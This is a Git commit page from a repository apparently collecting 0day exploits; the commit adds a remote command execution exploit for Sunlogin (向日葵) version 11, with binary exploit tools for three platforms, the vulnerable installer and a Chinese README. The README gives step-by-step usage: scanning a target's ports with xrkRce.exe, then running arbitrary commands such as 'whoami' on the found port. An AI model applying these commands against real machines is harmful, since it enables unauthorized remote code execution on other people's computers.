admin/0day
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

向日葵Ver 11版本远程命令执行 (#6)

Browse Source
This commit is contained in:
DCatSlayer 2022-02-18 13:04:56 +08:00 committed by GitHub
parent 6ba9a02edd
commit 520b5a5075
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
9 changed files with 13 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

BIN
18-向日葵远程命令执行/1.jpg Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 5.1 KiB

BIN
18-向日葵远程命令执行/2.jpg Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 5.0 KiB

BIN
18-向日葵远程命令执行/3.jpg Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 22 KiB

BIN
18-向日葵远程命令执行/4.jpg Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 18 KiB

BIN
18-向日葵远程命令执行/exp/xrkRce_linux.zip Normal file
View File

Binary file not shown.

BIN
18-向日葵远程命令执行/exp/xrkRce_mac.zip Normal file
View File

Binary file not shown.

BIN
18-向日葵远程命令执行/exp/xrkRce_win.zip Normal file
View File

Binary file not shown.

BIN
18-向日葵远程命令执行/向日葵安装包/SunloginClient_11.0.0.33162_X64.exe Normal file
View File

Binary file not shown.

13
18-向日葵远程命令执行/向日葵远程命令执行.md Normal file
View File

@ -0,0 +1,13 @@
向日葵版本：Ver.11.0.0.33162
验证过程（windows11）：
1. 本机安装向日葵后启动软件；
![1](1.jpg)
2. CMD输入命令扫描端口，判断是否可能存在Rce；（ xrkRce.exe -h 192.168.99.38 -t scan -p 1-65535 ）
![2](2.jpg)
3. 可能存在会返回端口，如：60029；
![3](3.jpg)
4. CMD输入命令（xrkRce.exe -h 192.168.99.38 -t rce -p 60029 -c "whoami"），发现命令执行。
![4](4.jpg)